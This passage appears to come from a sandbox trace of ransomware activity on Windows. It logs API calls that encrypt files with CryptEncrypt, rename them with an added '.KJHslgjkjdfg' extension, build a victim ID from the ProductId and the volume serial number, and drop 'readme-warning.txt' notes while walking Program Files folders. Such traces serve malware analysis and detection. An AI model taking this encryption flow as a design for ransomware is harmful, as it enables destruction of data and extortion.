phKey=0x29deadc | out: phKey=0x29deadc*=0x9b66e8) returned 1 [0180.314] CryptSetKeyParam (hKey=0x9b66e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0180.314] GetProcessHeap () returned 0x990000 [0180.314] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x30) returned 0x9b4db8 [0180.314] CryptEncrypt (in: hKey=0x9b66e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b4db8*, pdwDataLen=0x29deac0*=0x30, dwBufLen=0x30 | out: pbData=0x9b4db8*, pdwDataLen=0x29deac0*=0x30) returned 1 [0180.314] CryptDestroyKey (hKey=0x9b66e8) returned 1 [0180.314] WriteFile (in: hFile=0x118, lpBuffer=0x9b4db8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x29dead8, lpOverlapped=0x0 | out: lpBuffer=0x9b4db8*, lpNumberOfBytesWritten=0x29dead8*=0x30, lpOverlapped=0x0) returned 1 [0180.314] WriteFile (in: hFile=0x118, lpBuffer=0x29deae0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29dead8, lpOverlapped=0x0 | out: lpBuffer=0x29deae0*, lpNumberOfBytesWritten=0x29dead8*=0x4, lpOverlapped=0x0) returned 1 [0180.314] WriteFile (in: hFile=0x118, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29dead8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29dead8*=0x10, lpOverlapped=0x0) returned 1 [0180.314] WriteFile (in: hFile=0x118, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29dead8, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29dead8*=0x80, lpOverlapped=0x0) returned 1 [0180.315] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29deb00 | out: lpNewFilePointer=0x0) returned 1 [0180.315] WriteFile (in: hFile=0x118, lpBuffer=0x29deaf0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29dead8, lpOverlapped=0x0 | out: lpBuffer=0x29deaf0*, lpNumberOfBytesWritten=0x29dead8*=0x8, lpOverlapped=0x0) returned 1 [0180.315] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29deadc | out: phKey=0x29deadc*=0x9b66e8) returned 1 [0180.315] CryptSetKeyParam (hKey=0x9b66e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0180.315] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.315] ReadFile (in: hFile=0x118, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x296a5, lpNumberOfBytesRead=0x29deae4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deae4*=0x296a5, lpOverlapped=0x0) returned 1 [0180.320] CryptEncrypt (in: hKey=0x9b66e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29deac0*=0x296b0, dwBufLen=0x296b0 | out: pbData=0x27d0020*, pdwDataLen=0x29deac0*=0x296b0) returned 1 [0180.322] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.322] WriteFile (in: hFile=0x118, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x296b0, lpNumberOfBytesWritten=0x29dead8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29dead8*=0x296b0, lpOverlapped=0x0) returned 1 [0180.323] CryptDestroyKey (hKey=0x9b66e8) returned 1 [0180.323] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x29774, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.323] SetEndOfFile (hFile=0x118) returned 1 [0180.326] GetProcessHeap () returned 0x990000 [0180.326] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0180.326] GetProcessHeap () returned 0x990000 [0180.326] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0180.326] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\1033\\fpext.msg"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\1033\\fpext.msg.kjhslgjkjdfg")) returned 1 [0180.327] CloseHandle (hObject=0x118) returned 1 [0180.331] FindNextFileW (in: hFindFile=0x9b66a8, lpFindFileData=0x29deb68 | out: lpFindFileData=0x29deb68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x870ca400, ftCreationTime.dwHighDateTime=0x1cac036, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x870ca400, ftLastWriteTime.dwHighDateTime=0x1cac036, nFileSizeHigh=0x0, nFileSizeLow=0x296a5, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FPEXT.MSG", cAlternateFileName="")) returned 0 [0180.331] GetProcessHeap () returned 0x990000 [0180.331] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0180.331] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de8a8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b66e8) returned 1 [0180.331] CryptDecrypt (in: hKey=0x9b66e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0, pdwDataLen=0x29de910 | out: pbData=0x9af7b0, pdwDataLen=0x29de910) returned 1 [0180.331] CryptDestroyKey (hKey=0x9b66e8) returned 1 [0180.331] GetProcessHeap () returned 0x990000 [0180.331] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7f8 [0180.331] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de8a8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b66e8) returned 1 [0180.331] CryptDecrypt (in: hKey=0x9b66e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7f8, pdwDataLen=0x29de910 | out: pbData=0x9af7f8, pdwDataLen=0x29de910) returned 1 [0180.331] CryptDestroyKey (hKey=0x9b66e8) returned 1 [0180.331] GetProcessHeap () returned 0x990000 [0180.331] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3c0) returned 0x9b7b80 [0180.331] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de8a8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b66e8) returned 1 [0180.331] CryptDecrypt (in: hKey=0x9b66e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b7b80, pdwDataLen=0x29de910 | out: pbData=0x9b7b80, pdwDataLen=0x29de910) returned 1 [0180.332] CryptDestroyKey (hKey=0x9b66e8) returned 1 [0180.332] GetProcessHeap () returned 0x990000 [0180.332] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af840 [0180.332] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de480, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b66e8) returned 1 [0180.332] CryptDecrypt (in: hKey=0x9b66e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af840, pdwDataLen=0x29de4f0 | out: pbData=0x9af840, pdwDataLen=0x29de4f0) returned 1 [0180.332] CryptDestroyKey (hKey=0x9b66e8) returned 1 [0180.332] GetProcessHeap () returned 0x990000 [0180.332] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18a0 [0180.332] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de480, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b66e8) returned 1 [0180.332] CryptDecrypt (in: hKey=0x9b66e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18a0, pdwDataLen=0x29de4f0 | out: pbData=0x9b18a0, pdwDataLen=0x29de4f0) returned 1 [0180.332] CryptDestroyKey (hKey=0x9b66e8) returned 1 [0180.332] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x29de4ec | out: phkResult=0x29de4ec*=0x118) returned 0x0 [0180.332] RegQueryValueExA (in: hKey=0x118, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x29de4f8, lpcbData=0x29de4f4*=0x400 | out: lpType=0x0, lpData=0x29de4f8*=0x30, lpcbData=0x29de4f4*=0x18) returned 0x0 [0180.332] RegCloseKey (hKey=0x118) returned 0x0 [0180.332] GetProcessHeap () returned 0x990000 [0180.332] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af840 | out: hHeap=0x990000) returned 1 [0180.332] GetProcessHeap () returned 0x990000 [0180.332] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18a0 | out: hHeap=0x990000) returned 1 [0180.332] GetProcessHeap () returned 0x990000 [0180.332] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18a0 [0180.332] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de260, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b66e8) returned 1 [0180.333] CryptDecrypt (in: hKey=0x9b66e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18a0, pdwDataLen=0x29de2c4 | out: pbData=0x9b18a0, pdwDataLen=0x29de2c4) returned 1 [0180.333] CryptDestroyKey (hKey=0x9b66e8) returned 1 [0180.333] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x29de2c8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0180.333] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x29de2c0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x29de2c0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0180.333] GetProcessHeap () returned 0x990000 [0180.333] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18a0 | out: hHeap=0x990000) returned 1 [0180.333] wsprintfA (in: param_1=0x29de50f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0180.333] wsprintfA (in: param_1=0x29de91c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0180.333] GetProcessHeap () returned 0x990000 [0180.333] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3b4) returned 0x9b7f48 [0180.333] wsprintfW (in: param_1=0x29dd8ec, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\readme-warning.txt") returned 99 [0180.333] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\1033\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0180.334] WriteFile (in: hFile=0x118, lpBuffer=0x9b7f48*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x29dd8e8, lpOverlapped=0x0 | out: lpBuffer=0x9b7f48*, lpNumberOfBytesWritten=0x29dd8e8*=0x3b3, lpOverlapped=0x0) returned 1 [0180.335] CloseHandle (hObject=0x118) returned 1 [0180.335] GetProcessHeap () returned 0x990000 [0180.335] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b7b80 | out: hHeap=0x990000) returned 1 [0180.335] GetProcessHeap () returned 0x990000 [0180.335] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b7f48 | out: hHeap=0x990000) returned 1 [0180.336] GetProcessHeap () returned 0x990000 [0180.336] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7f8 | out: hHeap=0x990000) returned 1 [0180.336] GetProcessHeap () returned 0x990000 [0180.336] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0180.336] FindClose (in: hFindFile=0x9b66a8 | out: hFindFile=0x9b66a8) returned 1 [0180.336] GetProcessHeap () returned 0x990000 [0180.336] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b78c0 | out: hHeap=0x990000) returned 1 [0180.336] FindNextFileW (in: hFindFile=0x9b6668, lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c366f00, ftCreationTime.dwHighDateTime=0x1cac0be, ftLastAccessTime.dwLowDateTime=0x6193ae30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3c366f00, ftLastWriteTime.dwHighDateTime=0x1cac0be, nFileSizeHigh=0x0, nFileSizeLow=0x267d78, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FPSRVUTL.DLL", cAlternateFileName="")) returned 1 [0180.336] FindNextFileW (in: hFindFile=0x9b6668, lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1da56400, ftCreationTime.dwHighDateTime=0x1cb71c7, ftLastAccessTime.dwLowDateTime=0xdb7fce60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1da56400, ftLastWriteTime.dwHighDateTime=0x1cb71c7, nFileSizeHigh=0x0, nFileSizeLow=0x14cd90, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FPWEC.DLL", cAlternateFileName="")) returned 1 [0180.336] FindNextFileW (in: hFindFile=0x9b6668, lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1da56400, ftCreationTime.dwHighDateTime=0x1cb71c7, ftLastAccessTime.dwLowDateTime=0xdb7fce60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1da56400, ftLastWriteTime.dwHighDateTime=0x1cb71c7, nFileSizeHigh=0x0, nFileSizeLow=0x14cd90, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FPWEC.DLL", cAlternateFileName="")) returned 0 [0180.336] FindClose (in: hFindFile=0x9b6668 | out: hFindFile=0x9b6668) returned 1 [0180.336] GetProcessHeap () returned 0x990000 [0180.336] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9fdca0 | out: hHeap=0x990000) returned 1 [0180.336] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xdb7d6d00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdb7d6d00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BIN", cAlternateFileName="")) returned 0 [0180.336] FindClose (in: hFindFile=0x9b6628 | out: hFindFile=0x9b6628) returned 1 [0180.337] GetProcessHeap () returned 0x990000 [0180.337] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9fd9f0 | out: hHeap=0x990000) returned 1 [0180.337] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="14", cAlternateFileName="")) returned 0 [0180.337] FindClose (in: hFindFile=0x9b64e8 | out: hFindFile=0x9b64e8) returned 1 [0180.337] GetProcessHeap () returned 0x990000 [0180.337] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b1eb0 | out: hHeap=0x990000) returned 1 [0180.337] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Web Server Extensions", cAlternateFileName="WEBSER~1")) returned 0 [0180.337] FindClose (in: hFindFile=0x9b6568 | out: hFindFile=0x9b6568) returned 1 [0180.337] GetProcessHeap () returned 0x990000 [0180.337] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9dc860 | out: hHeap=0x990000) returned 1 [0180.337] FindNextFileW (in: hFindFile=0x9b65a8, lpFindFileData=0x29df810 | out: lpFindFileData=0x29df810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Services", cAlternateFileName="")) returned 1 [0180.337] GetProcessHeap () returned 0x990000 [0180.337] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x5e) returned 0x9b9330 [0180.337] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Services\\*.*", lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x9b6568 [0180.338] GetProcessHeap () returned 0x990000 [0180.338] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b9330 | out: hHeap=0x990000) returned 1 [0180.338] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0180.338] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xafbfd139, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0xafbfd139, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0xafbfd139, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xa8e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="verisign.bmp", cAlternateFileName="")) returned 1 [0180.338] GetProcessHeap () returned 0x990000 [0180.338] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x260) returned 0x9f9760 [0180.338] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Services\\verisign.bmp" (normalized: "c:\\program files\\common files\\services\\verisign.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.339] GetLastError () returned 0x5 [0180.339] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xafbfd139, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0xafbfd139, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0xafbfd139, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xa8e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="verisign.bmp", cAlternateFileName="")) returned 0 [0180.339] FindClose (in: hFindFile=0x9b6568 | out: hFindFile=0x9b6568) returned 1 [0180.340] GetProcessHeap () returned 0x990000 [0180.340] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9f9760 | out: hHeap=0x990000) returned 1 [0180.340] FindNextFileW (in: hFindFile=0x9b65a8, lpFindFileData=0x29df810 | out: lpFindFileData=0x29df810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SpeechEngines", cAlternateFileName="SPEECH~1")) returned 1 [0180.340] GetProcessHeap () returned 0x990000 [0180.340] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x68) returned 0x9b0940 [0180.340] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\*.*", lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x9b6568 [0180.340] GetProcessHeap () returned 0x990000 [0180.340] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b0940 | out: hHeap=0x990000) returned 1 [0180.340] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0180.340] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0180.340] GetProcessHeap () returned 0x990000 [0180.340] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x26a) returned 0x9f9760 [0180.340] GetProcessHeap () returned 0x990000 [0180.340] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x7c) returned 0x9b0940 [0180.340] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\*.*", lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x9b64e8 [0180.341] GetProcessHeap () returned 0x990000 [0180.341] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b0940 | out: hHeap=0x990000) returned 1 [0180.341] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0180.341] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TTS20", cAlternateFileName="")) returned 1 [0180.342] GetProcessHeap () returned 0x990000 [0180.342] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x27e) returned 0x9b1eb0 [0180.342] GetProcessHeap () returned 0x990000 [0180.342] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x88) returned 0x9b0940 [0180.342] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\*.*", lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x9b6628 [0180.342] GetProcessHeap () returned 0x990000 [0180.342] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b0940 | out: hHeap=0x990000) returned 1 [0180.342] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, 